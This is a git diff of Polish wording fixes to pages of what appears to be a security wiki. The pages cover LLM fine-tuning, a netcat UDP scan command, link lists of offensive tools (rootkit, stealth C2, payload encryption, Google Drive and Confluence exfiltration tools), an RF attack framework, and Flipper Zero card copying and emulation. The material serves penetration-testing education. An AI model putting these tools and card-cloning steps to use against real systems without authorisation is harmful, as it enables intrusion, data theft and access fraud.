-13,11 +13,11 @@ LoRA umożliwia efektywne dostrajanie **dużych modeli** poprzez zmianę tylko *
-2. **Zachowuje oryginalne wagi modelu bez zmian**: LoRA pozwala na zachowanie oryginalnych wag modelu, a jedynie aktualizuje **nowe małe macierze** (A i B). To jest pomocne, ponieważ oznacza, że oryginalna wiedza modelu jest zachowana, a ty tylko dostosowujesz to, co jest konieczne. -3. **Efektywne dostrajanie specyficzne dla zadania**: Kiedy chcesz dostosować model do **nowego zadania**, możesz po prostu trenować **małe macierze LoRA** (A i B), pozostawiając resztę modelu w niezmienionej formie. To jest **znacznie bardziej efektywne** niż ponowne trenowanie całego modelu. +2. **Zachowuje oryginalne wagi modelu bez zmian**: LoRA pozwala na zachowanie oryginalnych wag modelu, a jedynie aktualizuje **nowe małe macierze** (A i B). To jest pomocne, ponieważ oznacza, że oryginalna wiedza modelu jest zachowana, a ty tylko dostosowujesz to, co konieczne. +3. **Efektywne dostrajanie specyficzne dla zadania**: Kiedy chcesz dostosować model do **nowego zadania**, możesz po prostu wytrenować **małe macierze LoRA** (A i B), pozostawiając resztę modelu w niezmienionej formie. To jest **znacznie bardziej efektywne** niż ponowne trenowanie całego modelu. 4. **Efektywność przechowywania**: Po dostrojeniu, zamiast zapisywać **cały nowy model** dla każdego zadania, musisz tylko przechowywać **macierze LoRA**, które są bardzo małe w porównaniu do całego modelu. To ułatwia dostosowanie modelu do wielu zadań bez użycia zbyt dużej ilości pamięci. -Aby zaimplementować LoraLayers zamiast Linear podczas dostrajania, zaproponowano tutaj ten kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): +Aby zaimplementować LoraLayers zamiast liniowych podczas dostrajania, zaproponowano tutaj ten kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): ```python import math diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md index b707d4827..d702c20ca 100644 --- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md @@ -5,7 +5,7 @@ ## Zbiór danych -Aby dostosować LLM do przestrzegania instrukcji, potrzebny jest zbiór danych z instrukcjami i odpowiedziami, aby dostosować LLM. Istnieją różne formaty do trenowania LLM w celu przestrzegania instrukcji, na przykład: +Aby dostosować LLM do przestrzegania instrukcji, potrzebny jest zbiór danych z instrukcjami i odpowiedziami do dostosowania LLM. Istnieją różne formaty do trenowania LLM w celu przestrzegania instrukcji, na przykład: - Przykład stylu promptu Apply Alpaca: ```csharp @@ -19,7 +19,7 @@ The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging \( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units. ``` -- Przykład stylu promptu Phi-3: +- Przykład stylu podpowiedzi Phi-3: ```vbnet <|User|> Can you explain what gravity is in simple terms? @@ -56,10 +56,10 @@ Następnie, jak zawsze, należy podzielić zbiór danych na zestawy do treningu, Następnie należy zgrupować wszystkie dane wejściowe i oczekiwane wyjścia do treningu. W tym celu należy: - Tokenizować teksty -- Wypełnić wszystkie próbki do tej samej długości (zwykle długość będzie tak duża, jak długość kontekstu używana do wstępnego trenowania LLM) -- Utworzyć oczekiwane tokeny, przesuwając wejście o 1 w niestandardowej funkcji łączącej +- Wypełnić wszystkie próbki do tej samej długości (zwykle długość będzie tak duża, jak długość kontekstu używanego do wstępnego trenowania LLM) +- Utworzyć oczekiwane tokeny, przesuwając wejście o 1 w niestandardowej funkcji łączenia - Zastąpić niektóre tokeny wypełnienia -100, aby wykluczyć je z utraty treningowej: Po pierwszym tokenie `endoftext` zastąp wszystkie inne tokeny `endoftext` -100 (ponieważ użycie `cross_entropy(...,ignore_index=-100)` oznacza, że zignoruje cele z -100) -- \[Opcjonalnie\] Zamaskować również wszystkie tokeny należące do pytania za pomocą -100, aby LLM uczył się tylko, jak generować odpowiedź. W stylu Apply Alpaca oznacza to zamaskowanie wszystkiego do `### Response:` +- \[Opcjonalnie\] Maskować również wszystkie tokeny należące do pytania za pomocą -100, aby LLM uczył się tylko, jak generować odpowiedź. W stylu Apply Alpaca oznacza to zamaskowanie wszystkiego do `### Response:` Gdy to zostanie utworzone, czas na stworzenie loaderów danych dla każdego zbioru danych (treningowego, walidacyjnego i testowego). @@ -67,12 +67,12 @@ Gdy to zostanie utworzone, czas na stworzenie loaderów danych dla każdego zbio Należy załadować wstępnie wytrenowany LLM, aby go dostroić. To już było omawiane na innych stronach. Następnie można użyć wcześniej używanej funkcji treningowej do dostrojenia LLM. -Podczas treningu można również zobaczyć, jak zmienia się utrata treningowa i walidacyjna w trakcie epok, aby sprawdzić, czy utrata maleje i czy występuje nadmierne dopasowanie.\ -Pamiętaj, że nadmierne dopasowanie występuje, gdy utrata treningowa maleje, ale utrata walidacyjna nie maleje lub nawet rośnie. Aby tego uniknąć, najprostszym rozwiązaniem jest zatrzymanie treningu w epoce, w której to zachowanie się zaczyna. +Podczas treningu można również zobaczyć, jak zmienia się strata treningowa i walidacyjna w trakcie epok, aby sprawdzić, czy strata maleje i czy występuje nadmierne dopasowanie.\ +Pamiętaj, że nadmierne dopasowanie występuje, gdy strata treningowa maleje, ale strata walidacyjna nie maleje lub nawet rośnie. Aby tego uniknąć, najprostszym rozwiązaniem jest zatrzymanie treningu w epoce, w której to zachowanie się zaczyna. ## Response Quality -Ponieważ nie jest to dostrajanie klasyfikacji, w którym można bardziej ufać zmianom utraty, ważne jest również sprawdzenie jakości odpowiedzi w zbiorze testowym. Dlatego zaleca się zebranie wygenerowanych odpowiedzi ze wszystkich zbiorów testowych i **ręczne sprawdzenie ich jakości**, aby zobaczyć, czy są błędne odpowiedzi (zauważ, że LLM może poprawnie stworzyć format i składnię zdania odpowiedzi, ale dać całkowicie błędną odpowiedź. Zmiana utraty nie odzwierciedli tego zachowania).\ +Ponieważ nie jest to dostrajanie klasyfikacji, w którym można bardziej ufać zmianom straty, ważne jest również sprawdzenie jakości odpowiedzi w zbiorze testowym. Dlatego zaleca się zebranie wygenerowanych odpowiedzi ze wszystkich zbiorów testowych i **ręczne sprawdzenie ich jakości**, aby zobaczyć, czy są błędne odpowiedzi (zauważ, że LLM może poprawnie stworzyć format i składnię zdania odpowiedzi, ale dać całkowicie błędną odpowiedź. Zmiana straty nie odzwierciedli tego zachowania).\ Zauważ, że możliwe jest również przeprowadzenie tej recenzji, przekazując wygenerowane odpowiedzi i oczekiwane odpowiedzi do **innych LLM i prosząc je o ocenę odpowiedzi**. Inne testy do przeprowadzenia w celu weryfikacji jakości odpowiedzi: diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md index 27f335aa1..31c2d23b4 100644 --- a/src/todo/llm-training-data-preparation/README.md +++ b/src/todo/llm-training-data-preparation/README.md @@ -43,7 +43,7 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia ## 4. Mechanizmy Uwagowe > [!TIP] -> Celem tej czwartej fazy jest bardzo proste: **Zastosować pewne mechanizmy uwagi**. Będą to liczne **powtarzające się warstwy**, które będą **uchwytywać relację słowa w słowniku z jego sąsiadami w bieżącym zdaniu używanym do trenowania LLM**.\ +> Celem tej czwartej fazy jest bardzo proste: **Zastosować pewne mechanizmy uwagi**. Będą to liczne **powtarzające się warstwy**, które będą **uchwytywać relację słowa w słowniku z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\ > Do tego celu używa się wielu warstw, więc wiele parametrów do trenowania będzie uchwytywać te informacje. {{#ref}} @@ -53,9 +53,9 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia ## 5. Architektura LLM > [!TIP] -> Celem tej piątej fazy jest bardzo proste: **Opracować architekturę całego LLM**. Połączyć wszystko, zastosować wszystkie warstwy i stworzyć wszystkie funkcje do generowania tekstu lub przekształcania tekstu na ID i odwrotnie. +> Celem tej piątej fazy jest bardzo proste: **Rozwinąć architekturę całego LLM**. Połączyć wszystko, zastosować wszystkie warstwy i stworzyć wszystkie funkcje do generowania tekstu lub przekształcania tekstu na ID i odwrotnie. > -> Ta architektura będzie używana zarówno do trenowania, jak i przewidywania tekstu po jego wytrenowaniu. +> Ta architektura będzie używana zarówno do treningu, jak i przewidywania tekstu po jego wytrenowaniu. {{#ref}} 5.-llm-architecture.md @@ -82,7 +82,7 @@ Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia ## 7.1. Dostrajanie do klasyfikacji > [!TIP] -> Celem tej sekcji jest pokazanie, jak dostroić już wytrenowany model, aby zamiast generować nowy tekst, LLM podałby **prawdopodobieństwa przypisania danego tekstu do każdej z podanych kategorii** (na przykład, czy tekst jest spamem, czy nie). +> Celem tej sekcji jest pokazanie, jak dostroić już wytrenowany model, aby zamiast generować nowy tekst, LLM podałby **prawdopodobieństwa, że dany tekst zostanie zaklasyfikowany w każdej z podanych kategorii** (na przykład, czy tekst jest spamem, czy nie). {{#ref}} 7.1.-fine-tuning-for-classification.md diff --git a/src/todo/misc.md b/src/todo/misc.md index be8e25a1f..9ed36314e 100644 --- a/src/todo/misc.md +++ b/src/todo/misc.md @@ -6,7 +6,7 @@ W odpowiedzi ping TTL:\ Reszta, jakiś linux $1$- md5\ -$2$or $2a$ - Blowfish\ +$2$lub $2a$ - Blowfish\ $5$- sha256\ $6$- sha512 @@ -15,7 +15,7 @@ Jeśli nie wiesz, co kryje się za usługą, spróbuj wykonać żądanie HTTP GE **Skanowanie UDP**\ nc -nv -u -z -w 1 \ 160-16 -Pusty pakiet UDP jest wysyłany do konkretnego portu. Jeśli port UDP jest otwarty, nie zostaje wysłana odpowiedź z maszyny docelowej. Jeśli port UDP jest zamknięty, z maszyny docelowej powinien zostać wysłany pakiet ICMP port unreachable.\ +Pusty pakiet UDP jest wysyłany do konkretnego portu. Jeśli port UDP jest otwarty, nie zostaje wysłana odpowiedź z maszyny docelowej. Jeśli port UDP jest zamknięty, z maszyny docelowej powinien zostać wysłany pakiet ICMP informujący o niedostępności portu.\ Skanowanie portów UDP jest często niewiarygodne, ponieważ zapory sieciowe i routery mogą odrzucać pakiety ICMP.\ Może to prowadzić do fałszywych pozytywów w twoim skanowaniu, a ty regularnie zobaczysz,\ diff --git a/src/todo/more-tools.md b/src/todo/more-tools.md index b68643d6d..0ed4aba88 100644 --- a/src/todo/more-tools.md +++ b/src/todo/more-tools.md @@ -45,7 +45,7 @@ - [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Szybkie skanowanie portów - [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Subdomeny i URL-e z plików JS w sieci - [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Słownik plików WWW -- [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : BurpExtension do unikania dziesiątek zakładek powtarzających +- [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : BurpExtension, aby uniknąć dziesiątek zakładek powtarzających - [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Uzyskaj zasoby - [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks - [https://github.com/sehno/Bug-bounty/blob/master/bugbounty_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty_checklist.md) : Lista kontrolna BugBounty w sieci @@ -55,7 +55,7 @@ - [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Wtyczka BurpSuite do znajdowania luk (SQLi, XSS, SSTI) - [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Rozszerzenie Chrome do śledzenia funkcji post-messages - [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Automatyczne testy uwierzytelniania (usuń ciasteczka i spróbuj wysłać żądanie) -- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross to narzędzie do rekonstrukcji, skanowania i testowania penetracyjnego / BugBounty. To narzędzie zostało stworzone do testowania luk (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) +- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross to rekonstrukcja, skaner i narzędzie do testowania penetracyjnego / BugBounty. To narzędzie zostało stworzone do testowania luk (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) # Windows @@ -64,10 +64,10 @@ - [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Utrzymywanie - [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Techniki wstrzykiwania procesów w Windows - [https://github.com/BankSecurity/Red_Team](https://github.com/BankSecurity/Red_Team) : Skrypty Red Team -- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : znajdowanie błędów konfiguracyjnych związanych z bezpieczeństwem w Active Directory Group Policy. +- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : znajdź błędy konfiguracyjne związane z bezpieczeństwem w polityce grupowej Active Directory. - [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Obfuskacja Securestring - [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Oszustwo PID rodzica -- [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Szyfrowanie ładunków Powershell +- [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Szyfruj ładunki Powershell - [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Stealth C2 - [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Seria logów o Windows Internals - [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Śledź, kto otworzył dokument @@ -90,11 +90,11 @@ Jak wyciągnąć firmware, jeśli nie znajdziemy go online: [https://www.youtube Oto firmware z lukami do analizy: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat) -A tutaj metodologia OWASP do analizy firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) +a tutaj metodologia owasp do analizy firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) Emulacja firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) to platforma do automatyzacji emulacji i dynamicznej analizy firmware opartych na Linuksie. -# OTHER +# INNE - [https://twitter.com/HackAndDo/status/1202695084543791117](https://twitter.com/HackAndDo/status/1202695084543791117) - [https://github.com/weev3/LKWA](https://github.com/weev3/LKWA) @@ -108,8 +108,8 @@ Emulacja firmware: FIRMADYNE (https://github.com/firmadyne/firmadyne/) to platfo - Usługi rotacji IP: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212) - Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit) - [https://theia-ide.org/](https://theia-ide.org) : Online IDE -- [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Zasoby dla początkujących łowców BugBounty -- [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : Narzędzia do pentestingu IOS +- [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : Zasoby dla początkujących w BugBounties +- [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : Narzędzia pentestingowe dla IOS - [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : Słowa kluczowe - [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : Hacking IoT (Wifi, BLE, SSDP, MDNS) - [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : automatyzacja skanowania diff --git a/src/todo/other-web-tricks.md b/src/todo/other-web-tricks.md index 59329ec08..8cd4e4c38 100644 --- a/src/todo/other-web-tricks.md +++ b/src/todo/other-web-tricks.md @@ -28,7 +28,7 @@ Zarejestruj e-mail, przed potwierdzeniem zmień e-mail, a następnie, jeśli now ### Metoda TRACE -Programiści mogą zapomnieć o wyłączeniu różnych opcji debugowania w środowisku produkcyjnym. Na przykład, metoda HTTP `TRACE` jest zaprojektowana do celów diagnostycznych. Jeśli jest włączona, serwer WWW odpowie na żądania, które używają metody `TRACE`, echoując w odpowiedzi dokładne żądanie, które zostało odebrane. To zachowanie jest często nieszkodliwe, ale czasami prowadzi do ujawnienia informacji, takich jak nazwy wewnętrznych nagłówków uwierzytelniających, które mogą być dołączane do żądań przez odwrotne proxy.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +Programiści mogą zapomnieć wyłączyć różne opcje debugowania w środowisku produkcyjnym. Na przykład, metoda HTTP `TRACE` jest zaprojektowana do celów diagnostycznych. Jeśli jest włączona, serwer WWW odpowie na żądania, które używają metody `TRACE`, echo w odpowiedzi dokładnego żądania, które zostało odebrane. To zachowanie jest często nieszkodliwe, ale czasami prowadzi do ujawnienia informacji, takich jak nazwy wewnętrznych nagłówków uwierzytelniających, które mogą być dołączane do żądań przez odwrotne proxy.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) diff --git a/src/todo/post-exploitation.md b/src/todo/post-exploitation.md index 95dca5d1d..aa9aa7924 100644 --- a/src/todo/post-exploitation.md +++ b/src/todo/post-exploitation.md @@ -10,7 +10,7 @@ - [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Ten moduł połączy się z API Confluence za pomocą tokena dostępu, wyeksportuje do PDF i pobierze dokumenty Confluence, do których cel ma dostęp. - [**GD-Thief**](https://github.com/antman1p/GD-Thief): Narzędzie Red Team do eksfiltracji plików z Google Drive celu, do którego masz (atakujący) dostęp, za pośrednictwem API Google Drive. Obejmuje to wszystkie udostępnione pliki, wszystkie pliki z udostępnionych dysków oraz wszystkie pliki z dysków domenowych, do których cel ma dostęp. - [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Narzędzie Red Team do eksfiltracji Katalogu Osób Google organizacji celu, do którego masz dostęp, za pośrednictwem API Google People. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** To narzędzie opracowane w Pythonie, które wykorzystuje natywne API Slack do wydobywania 'interesujących' informacji z przestrzeni roboczej Slacka, mając token dostępu. +- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** To narzędzie opracowane w Pythonie, które wykorzystuje natywne API Slack do wydobywania 'interesujących' informacji z przestrzeni roboczej Slacka, pod warunkiem posiadania tokena dostępu. - [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound to narzędzie wiersza poleceń dla zespołów czerwonych i niebieskich, które szybko przeprowadza rozpoznanie przestrzeni roboczej/organizacji Slack. Slackhound umożliwia szybkie przeszukiwanie użytkowników, plików, wiadomości itp. organizacji, a duże obiekty są zapisywane w formacie CSV do przeglądu offline. {{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md index dcf2d7e76..e96934b20 100644 --- a/src/todo/radio-hacking/fissure-the-rf-framework.md +++ b/src/todo/radio-hacking/fissure-the-rf-framework.md @@ -1,12 +1,12 @@ # FISSURE - The RF Framework -**Niezależne od częstotliwości zrozumienie sygnału SDR i inżynieria odwrotna** +**Zrozumienie i inżynieria wsteczna sygnałów SDR niezależnych od częstotliwości** -FISSURE to otwartoźródłowa platforma RF i inżynierii odwrotnej zaprojektowana dla wszystkich poziomów umiejętności, z funkcjami wykrywania i klasyfikacji sygnałów, odkrywania protokołów, wykonywania ataków, manipulacji IQ, analizy podatności, automatyzacji oraz AI/ML. Platforma została stworzona, aby promować szybkie integrowanie modułów oprogramowania, radii, protokołów, danych sygnałowych, skryptów, grafów przepływu, materiałów referencyjnych i narzędzi firm trzecich. FISSURE to narzędzie umożliwiające przepływ pracy, które utrzymuje oprogramowanie w jednym miejscu i pozwala zespołom na łatwe przyswajanie wiedzy, dzieląc się tą samą sprawdzoną konfiguracją bazową dla konkretnych dystrybucji Linuksa. +FISSURE to otwartoźródłowa platforma RF i inżynierii wstecznej zaprojektowana dla wszystkich poziomów umiejętności, z funkcjami wykrywania i klasyfikacji sygnałów, odkrywania protokołów, wykonywania ataków, manipulacji IQ, analizy podatności, automatyzacji oraz AI/ML. Platforma została stworzona, aby promować szybkie integrowanie modułów oprogramowania, radii, protokołów, danych sygnałowych, skryptów, grafów przepływu, materiałów referencyjnych i narzędzi firm trzecich. FISSURE to narzędzie umożliwiające przepływ pracy, które utrzymuje oprogramowanie w jednym miejscu i pozwala zespołom na łatwe przyswajanie wiedzy, dzieląc się tą samą sprawdzoną konfiguracją bazową dla konkretnych dystrybucji Linuksa. -Platforma i narzędzia zawarte w FISSURE są zaprojektowane do wykrywania obecności energii RF, rozumienia charakterystyki sygnału, zbierania i analizowania próbek, opracowywania technik nadawania i/lub wstrzykiwania oraz tworzenia niestandardowych ładunków lub wiadomości. FISSURE zawiera rosnącą bibliotekę informacji o protokołach i sygnałach, aby wspierać identyfikację, tworzenie pakietów i fuzzing. Istnieją możliwości archiwizacji online, aby pobierać pliki sygnałowe i tworzyć listy odtwarzania do symulacji ruchu i testowania systemów. +Platforma i narzędzia zawarte w FISSURE są zaprojektowane do wykrywania obecności energii RF, rozumienia charakterystyki sygnału, zbierania i analizowania próbek, opracowywania technik transmisji i/lub wstrzykiwania oraz tworzenia niestandardowych ładunków lub wiadomości. FISSURE zawiera rosnącą bibliotekę informacji o protokołach i sygnałach, aby wspierać identyfikację, tworzenie pakietów i fuzzing. Istnieją możliwości archiwizacji online, aby pobierać pliki sygnałowe i tworzyć listy odtwarzania do symulacji ruchu i testowania systemów. -Przyjazna baza kodu Python i interfejs użytkownika pozwalają początkującym szybko nauczyć się popularnych narzędzi i technik związanych z RF i inżynierią odwrotną. Nauczyciele w dziedzinie cyberbezpieczeństwa i inżynierii mogą skorzystać z wbudowanego materiału lub wykorzystać platformę do demonstrowania własnych aplikacji w rzeczywistych warunkach. Programiści i badacze mogą używać FISSURE do codziennych zadań lub do prezentowania swoich nowatorskich rozwiązań szerszej publiczności. W miarę jak świadomość i wykorzystanie FISSURE rośnie w społeczności, tak samo wzrośnie zakres jego możliwości i różnorodność technologii, które obejmuje. +Przyjazna baza kodu Python i interfejs użytkownika pozwalają początkującym szybko nauczyć się popularnych narzędzi i technik związanych z RF i inżynierią wsteczną. Nauczyciele w dziedzinie cyberbezpieczeństwa i inżynierii mogą skorzystać z wbudowanego materiału lub wykorzystać platformę do demonstrowania własnych aplikacji w rzeczywistych warunkach. Programiści i badacze mogą używać FISSURE do codziennych zadań lub do prezentowania swoich nowatorskich rozwiązań szerszej publiczności. W miarę jak świadomość i wykorzystanie FISSURE rośnie w społeczności, tak samo wzrośnie zakres jego możliwości i różnorodność technologii, które obejmuje. **Dodatkowe informacje** @@ -58,7 +58,7 @@ Następnie wybierz opcję, która najlepiej odpowiada twojemu systemowi operacyj | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | | ![install1b](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1b.png) | ![install1a](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1a.png) | ![install1c](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1c.png) | -Zaleca się zainstalowanie FISSURE na czystym systemie operacyjnym, aby uniknąć istniejących konfliktów. Wybierz wszystkie zalecane pola wyboru (przycisk domyślny), aby uniknąć błędów podczas korzystania z różnych narzędzi w FISSURE. W trakcie instalacji pojawi się wiele monitów, głównie pytających o podwyższone uprawnienia i nazwy użytkowników. Jeśli element zawiera sekcję "Weryfikacja" na końcu, instalator uruchomi polecenie, które następuje, i podświetli element pola wyboru na zielono lub czerwono w zależności od tego, czy polecenie wygeneruje jakiekolwiek błędy. Zaznaczone elementy bez sekcji "Weryfikacja" pozostaną czarne po zakończeniu instalacji. +Zaleca się zainstalowanie FISSURE na czystym systemie operacyjnym, aby uniknąć istniejących konfliktów. Wybierz wszystkie zalecane pola wyboru (przycisk domyślny), aby uniknąć błędów podczas korzystania z różnych narzędzi w FISSURE. W trakcie instalacji pojawi się wiele komunikatów, głównie pytających o podwyższone uprawnienia i nazwy użytkowników. Jeśli element zawiera sekcję "Weryfikacja" na końcu, instalator uruchomi polecenie, które następuje, i podświetli element pola wyboru na zielono lub czerwono w zależności od tego, czy polecenie wygeneruje jakiekolwiek błędy. Zaznaczone elementy bez sekcji "Weryfikacja" pozostaną czarne po zakończeniu instalacji. ![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png) @@ -151,7 +151,7 @@ Tworzenie [Zgłoszeń](https://github.com/ainfosec/FISSURE/issues) w celu zwróc ## Współpraca -Skontaktuj się z Assured Information Security, Inc. (AIS) w celu zaproponowania i sformalizowania wszelkich możliwości współpracy w zakresie FISSURE – niezależnie od tego, czy chodzi o poświęcenie czasu na integrację oprogramowania, czy o to, aby utalentowani ludzie z AIS opracowali rozwiązania dla Twoich wyzwań technicznych, czy też o integrację FISSURE z innymi platformami/aplikacjami. +Skontaktuj się z Assured Information Security, Inc. (AIS) w celu zaproponowania i sformalizowania wszelkich możliwości współpracy z FISSURE – niezależnie od tego, czy chodzi o poświęcenie czasu na integrację swojego oprogramowania, czy o to, aby utalentowani ludzie z AIS opracowali rozwiązania dla Twoich wyzwań technicznych, czy o integrację FISSURE z innymi platformami/aplikacjami. ## Licencja diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md index 23d793361..a68de3b67 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md +++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md @@ -45,9 +45,9 @@ To samo dzieje się w tej karcie HID, gdzie tylko 2 z 3 bajtów można znaleźć ### Emuluj/Zapisz -Po **skopiowaniu** karty lub **wprowadzeniu** ID **ręcznie** można ją **emulować** za pomocą Flipper Zero lub **zapisać** na prawdziwej karcie. +Po **skopiowaniu** karty lub **wprowadzeniu** ID **ręcznie** możliwe jest **emulowanie** jej za pomocą Flipper Zero lub **zapisanie** jej na prawdziwej karcie. -## Odniesienia +## Referencje - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md index 06fce2941..036cfc8e5 100644 --- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -20,7 +20,7 @@ Nowe typy kart NFC będą dodawane do listy obsługiwanych kart. Flipper Zero ob - **Karty bankowe (EMV)** — tylko odczyt UID, SAK i ATQA bez zapisywania. - **Nieznane karty** — odczyt (UID, SAK, ATQA) i emulacja UID. -Dla **kart NFC typu B, F i V**, Flipper Zero może odczytać UID bez zapisywania. +Dla **kart NFC typu B, F i V**, Flipper Zero jest w stanie odczytać UID bez zapisywania go. ### Karty NFC typu A @@ -42,7 +42,7 @@ Ekran odczytu nieznanej karty. Dla nieznanych kart NFC Flipper Zero może emulow ### Karty NFC typu B, F i V -Dla **kart NFC typu B, F i V**, Flipper Zero może tylko **odczytać i wyświetlić UID** bez zapisywania. +Dla **kart NFC typu B, F i V**, Flipper Zero może tylko **odczytać i wyświetlić UID** bez zapisywania go.
